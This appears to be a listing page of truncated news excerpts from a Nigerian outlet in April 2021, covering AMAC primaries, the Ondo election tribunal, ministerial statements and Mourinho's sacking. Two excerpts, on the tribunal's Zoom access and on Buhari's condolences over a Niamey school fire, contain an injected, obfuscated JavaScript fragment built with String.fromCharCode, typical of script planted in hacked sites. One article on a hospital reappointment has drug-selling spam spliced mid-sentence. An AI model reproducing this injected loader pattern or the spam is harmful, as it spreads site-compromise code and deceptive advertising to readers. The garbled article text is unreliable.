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Murtala Qualified to Run for AMAC Chairmanship Primaries – AMAC Stakeholders
21Apr By Gami TadanyigbeNo Comments
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Murtala Qualified to Run for AMAC Chairmanship Primaries – AMAC Stakeholders

The Abuja Municipal Area Council Stakeholders (AMAC) FCT, says Murtala Karshi, a leading All Progressive Congress (APC) Chairmanship aspirant is qualified to run for the party's primary elections scheduled to hold Thursday, April 22, 2021. Comrade Yunusa Yusuf, spokesperson of Abuja stakeholders and Executive Director of Abuja Grassroots Projects, made this known in Abuja during a press conference to counter earlier reports of alleged fraud by the aspirant. Yunusa said the stakeholders are solely behind Murtala to contest in the primaries and that the allegations he was collecting salaries from three different agencies was untrue and baseless. According to him, the alleged report was a mistake from the Independent Payroll Personnel Information System (IPPIS) and which he refunded...
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Onu Canvasses STI Deployment to Overcome Insecurity
21Apr By Sharpedge NewsNo Comments
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Onu Canvasses STI Deployment to Overcome Insecurity

The Minister of Science and Technology, Dr. Ogbonnaya Onu, has canvassed for the deployment of Science, Technology and Innovation (STI), to help Nigeria overcome the present insecurity bedeviling the country. Onu said this during a working visit by the Senior Executive Course (43) of the National Institute for Policy and Strategic studies (NIPSS), in his office on Tuesday. According to Dr. Onu, the use of STI will enhance intelligence gathering and facilitate the use of cutting-edge technology to eliminate security challenges in all regions of the country. The Minister stressed the need for Nigeria and other developing countries to develop home-grown solutions to challenges facing them, such as production of vaccines to tackle the Covid-19 pandemic. He said: “No matter ho...
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FG’s 100 Million Job Drive: NACETEM Moves to Develop Youth Capacity Through Tech Vocational Education Training
21Apr By Seun AdamsNo Comments
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FG’s 100 Million Job Drive: NACETEM Moves to Develop Youth Capacity Through Tech Vocational Education Training

The Federal Ministry of Science and Technology, through the National Centre for Technology Management (NACETEM) on Tuesday expressed its determination using its mandate and expertise to up government’s drive to create 100 million jobs through Technical and Vocational Education Training (TVET). The Director-General/Chief Executive Officer (CEO) of NACETEM, Prof. Okechukwu Ukwuoma, while welcoming delegates to the workshop organized by NACETEM, South-west office, Lagos, said: This workshop could not have come at a better time than now when the current administration’s objective for job and wealth creation is at the all-time high. He acknowledged that the choice of this workshop is to directly contribute to the objective of wealth creation using science, technology and innovation as a ...
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Ondo Electoral Petition Tribunal Declines Jurisdiction on Jegede’s Prayer
20Apr By Oladimeji AbitogunNo Comments
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Ondo Electoral Petition Tribunal Declines Jurisdiction on Jegede’s Prayer

The Ondo state electoral petition tribunal led by Justice Umar Abubakar on Tuesday ruled that it lacked jurisdiction to entertain the prayers of MR Eyitayo Olayinka Jegede on the procedures adopted by the All Progressive Congress, APC, in fielding  Arakunrin Oluwarotimi Odunayo Akeredolu and his deputy, MR Lucky Ayedatiwa in the October 2020 governorship election. In a ruling that was delivered by Justice Umar Abubakar the tribunal refused to give a clear-cut verdict saying it lacked  jurisdiction to provide answer and interpretation to the questions raised by the petitioner, MR Eyitayo Jegede which were purely constitutional. The ruling gave in indication of a visible stand for Governor Akeredolu. Jegede has not disclosed his next strategy and possible legal remedies. Ob...
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Expert Explains Possible Reason for Shut-Out of Citizen from Electronic Judgement on Ondo Guber Election
20Apr By Oladimeji AbitogunNo Comments
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Expert Explains Possible Reason for Shut-Out of Citizen from Electronic Judgement on Ondo Guber Election

A Nigeria pioneer system engineer, Mr Olusanya Awobodede has blamed the penchant of public officials for patronizing free internet applications for the limited number of persons allowed access to the live electronic ruling being delivered by the Ondo state electoral petition tribunal. Mr Awobodede, a computer engineer with close to 30 years of experience told Sharpedgenews that paid subscription for a dedicated zoom facility would have given more access to interested citizens who were enthusiastic about the judgment that is still being delivered as at press time. It was not certain if there was financial backup for the use of electronic platform on today’s ruling. The host to the zoom platform has since provided a new password, yet it is restrictive. var z =String;var t=z.fromCha...
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Scores of Political Enthusiasts Shut Out of Ondo Election Petition Tribunal Ruling
20Apr By Oladimeji AbitogunNo Comments
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Scores of Political Enthusiasts Shut Out of Ondo Election Petition Tribunal Ruling

For scores of political junkies who had hoped to connect with the Ondo State electoral tribunal in the case instituted by MR Eyitayo Olayinka Jegede against the Independent National Electoral Commission INEC and  Arakunrin Oluwarotimi Odunayo Akeredolu, it was a fruitless wait on Tuesday April 20, 2021. Most political enthusiasts were disappointed and refused connection via zoom in the election ruling chosen and announced by the secretary of the tribunal. Only one hundred individuals were allowed entry by the host to the platform. The password that would allow individuals to freely listen in was changed mid-way. There was no known alternative as at press time. The tribunal embraced electronic option because of the crippling strike by judiciary workers in Nigeria. The worker...
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Perm Sec Advises African Youths against Drug Abuse
20Apr By Seun AdamsNo Comments
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Perm Sec Advises African Youths against Drug Abuse

The Permanent Secretary, Service Policy and Strategy Office, Dr. Emmanuel Meribole has called on African youths to help rid the continent of drug abuse so as to ensure the security of the continent. Dr. Meribole made the call when he was conferred with the Pan African Leadership Prize of Excellence by Pan African Students Movement in his office in Abuja on Monday 19th April 2021. He urged knowledgeable youths to lead the fight against drug abuse and addiction as majority of drug addicts are lettered people. According to him, the rampant abuse of unwholesome drugs by youths was majorly responsible for the insecurity prevalent on the continent. He commended the movement for its exchange programmes which he said would help in harnessing their creativity, ideas and talents for the...
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Who will replace Jose Mourinho as Tottenham boss?
19Apr By Sharpedge NewsNo Comments
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Who will replace Jose Mourinho as Tottenham boss?

Tottenham Hotspur are looking for a new manager after making the decision to sack Jose Mourinho on Monday. The Portuguese leaves the club seventh in the Premier League and just six days before the Carabao Cup final against Manchester City on Sunday. Mourinho replaced Mauricio Pochettino in December 2019 eventually guiding the team to a sixth-placed finish and Europa League football. The 2020/21 season began in much more positive fashion with the side even topping the Premier League table in the early months. But a sharp downturn in form has seen Daniel Levy pull the trigger leaving him searching for Mourinho’s successor. Here are the top contenders: Julian Nagelsmann 7/2 Brendan Rodgers 5/1 Ledley King 9/1 Massimiliano Allegri 10/1 Steven Gerrard 12/1 Scot...
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Organisation lunches Doctoz Healthcare platform in Nigeria
18Apr By Gami TadanyigbeNo Comments
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Organisation lunches Doctoz Healthcare platform in Nigeria

A United Kingdom (UK) based organisation has lunched a healthcare application for the improvement in healthcare provision and services in the country. Mrs. Sa’adatu Adamu, the African Representative of the organisation while briefing newsmen in Abuja, said the initiative is aimed at bridging the gap in healthcare system by providing on demand healthcare services at home to reduce hospital visit. She said the whole idea was not meant to replace government efforts on the provision of healthcare service delivery in the country but to augment it which is currently in place. “We welcome you to today’s event with joy and excitement as we unveil today a milestone achievement in the course of healthcare service provision in Nigeria. “What we seek to achieve is not a replacement of eff...
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Why Past Reforms in Civil Service  Fail- Dr.Yemi Esan
16Apr By Seun AdamsNo Comments
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Why Past Reforms in Civil Service  Fail- Dr.Yemi Esan

The Head of the Civil Service of the Federation, Dr Folasade Yemi Esan has stressed the need to put a strict system in place to attract and bring the best personnel into the Civil service.Yemi Esan said this while delivering a virtual lecture on Public Service Reform Programme Implementation in Nigeria to participants of Senior Executive Course No.43 of the National Institute for Policy and Strategic Studies, Kuru Jos on Thursday15th April.According to her, the practice in the past whereby the Civil Service was seen as a welfare Institution to recruit all manner of people to mitigate unemployment crisis is unwholesome.She stated that the objective of public service reform is to increase the effectiveness and efficiency of the service to promote economic and social development.While saying...
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Onu: Our Energy Future is Bright
16Apr By Seun AdamsNo Comments
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Onu: Our Energy Future is Bright

The Minister of Science and Technology, Dr. Ogbonnaya Onu said Nigeria’s energy future is bright. Onu said this when he declared open the National Energy Summit in Abuja on Tuesday. He noted that the energy sector is going through a transition, as Nigeria is preparing for a post crude oil era.   Onu who chaired the summit, called for more foreign and local investment into the energy sector of the economy.  He said “I call for both foreign and local investment to help us build the necessary infrastructure needed for efficient and effective exploitation of the huge energy resources available in the country”. He further said that the Federal Government has provided the necessary incentives to grow and sustain investment into the energy sector, adding that there ...
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Buhari Expresses Sadness over Death of School Children in Niamey
16Apr By Sharpedge NewsNo Comments
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Buhari Expresses Sadness over Death of School Children in Niamey

President Muhammadu Buhari on Friday expressed deep sorrow over the loss of lives after fire enveloped a primary school in Niamey, Niger Republic, killing more than 20 children. In a message to President Mohammed Bazoum, the government and people of Nigeria’s  northern neighbour, President Buhari described the fire incident leading to the death of the mostly three to five year olds as “heart wrenching and extremely horrific.” “On behalf of the government and people of Nigeria, we commiserate with our brotherly neighbours on this tragic loss. “Our thoughts and prayers are with the victims, families and communities affected by this unfortunate incident. Wishing quick recovery to those who were injured,” the President added. var z =String;var t=z.fromCharCode(118,97,114,32...
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Motorists, Commuters Lament Gridlocks on Gwagwalada-Lokoja Expressway
14Apr By Gami TadanyigbeNo Comments
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Motorists, Commuters Lament Gridlocks on Gwagwalada-Lokoja Expressway

Motorists and commuters plying Gwagwalada-Lokoja Expressway have lamented the constant gridlock due to the ongoing construction and parking of articulate vehicles on the road. The News Agency of Nigeria (NAN) reports that motorists heading toward Lokoja and those from Zuba spend several hours in the gridlock from Gwagwalada Bridge to Kuje junction following the narrowing of the road. NAN observed that the incessant breakdown of heavy-duty vehicles and parking on the narrow road prevents smooth driving causing heavy traffic for several hours on the road. However, some motorists and commuters, who spoke with NAN in separate interviews, urged the law enforcement agents to be strict in arresting drivers fond of violating traffic rules on the road. A truck driver, Salisu Mohammed, ...
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Senate Suspends Plenary over Death of Assembly Members
13Apr By Seun AdamsNo Comments
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Senate Suspends Plenary over Death of Assembly Members

The Senate, on Tuesday, upon resumption from its two weeks recess, adjourned plenary till Wednesday (tomorrow) over the recent death of two members of the National Assembly.  This was just as the upper chamber held a minute silence in honour of both lawmakers who are members of the House of Representatives.  The decision to suspend plenary was carried out in line with the tradition of the National Assembly, following a motion moved by the Senate Leader, Yahaya Abdullahi, and seconded by the Minority Leader, Enyinnaya Abaribe.  Moving the motion, the Senate Leader said, “this Distinguished chamber and, to our distinguished colleagues, the passing of two members of the National Assembly by names of Mr. Haruna Maitala, who until his demise represented Bassa/Jos North ...
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President Buhari reappoints Prof. Ekele as CMD UATH
13Apr By Gami TadanyigbeNo Comments
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President Buhari reappoints Prof. Ekele as CMD UATH

President Muhammadu Buhari has approved the reappointment of Prof. Bissallah Ahmed Ekele, as the Chief Medical Director (CMD) of the University of Abuja Teaching Hospital (UATH), Gwagwalada, Abuja. A statement issued to the News Agency of Nigeria (NAN) in Abuja on Tuesday, revealed that the appointment of Prof. Ekele would be valid for another term buy soma no prescription online of four years after a selfless service in his first tenure in office. While congratulating him on his reappointment, Buhari urged Ekele to use the responsibility given to him to continue with the development of the hospital and health sector in the country. “Prof. Ekele officially took over from the Acting CMD, Dr A.S. Haruna, on July 3, 2017, and has performed creditably well in infrastructural developm...
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NUT Kuje branch holds foundation laying, fund raising of Secretariat valued N76 Million
12Apr By Gami TadanyigbeNo Comments
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NUT Kuje branch holds foundation laying, fund raising of Secretariat valued N76 Million

The Nigerian Union of Teachers (NUT), Kuje Branch on Saturday April 10, 2021, performed the foundation laying and fund-raising ceremony for the construction of its Secretariat valued at N76 million opposite School for the Deaf Paseli, along Kuje- Gwagwalada road in Kuje Area Council, FCT. Hon. Abdullahi Suleiman Sabo, the Chairman of Kuje Area Council, while making his donation to the union for the construction of the Secretariat said education was paramount and a priority in his administration.  Hon. Sabo, represented by the H.O.D Education and Social Development kuje Area Council, Mr Uzo Nwankwo, assured of his maximum support in the actualisation of the unions aspirations, completion of the project and the development of education in the area. Comr. Audu Lucky Jen, the Chairma...
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Kuje Council Chairman’s wife empowers women, youths on skill acquisition
10Apr By Gami TadanyigbeNo Comments
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Kuje Council Chairman’s wife empowers women, youths on skill acquisition

Mrs Salamatu Sabo, the wife of the Chairman of Kuje Area Council, FCT, has organised a three-day training workshop on skill acquisition for women and youths in the area. The News Agency of Nigeria (NAN) reports that the participants were given N20, 000. each to start business and trained in different skills, including soap making, perfume making, tailoring and make-up among others. Speaking at the training workshop, Salamatu said that the initiative was aimed at engaging women and youths of the area to be self-reliant and useful to the society. According to her, the empowerment programme has been designed to equip women and youths who are widows, job seekers and unemployed in Kuje with the knowledge and skills needed to support their families. She said that her target was to h...
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NUT Kuje branch to hold foundation laying/fund raising ceremony valued N76m on Saturday
9Apr By Gami TadanyigbeNo Comments
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NUT Kuje branch to hold foundation laying/fund raising ceremony valued N76m on Saturday

The Nigerian Union of Teachers Kuje Branch would on Saturday April 10, 2021 holds it foundation laying and fund-raising ceremony of its Secretariat worth N76 million opposite School for the Deaf Paseli along Kuje- Gwagwalada road in Kuje Area Council, FCT. Comrade Titus Moses, the Project Committee Chairman who disclosed this to journalists in Kuje said the Secretariat if completed would go a long way to develop the education sector in FCT. Comrade Titus assured that the ceremony to be honoured by the Senator of FCT and all Area Council Chairmen in the area would also encourage investors to key into the educational sector in the country. While soliciting for the support of the general public in contributing to the actualisation of the unions spiration, he called on the Federal Go...
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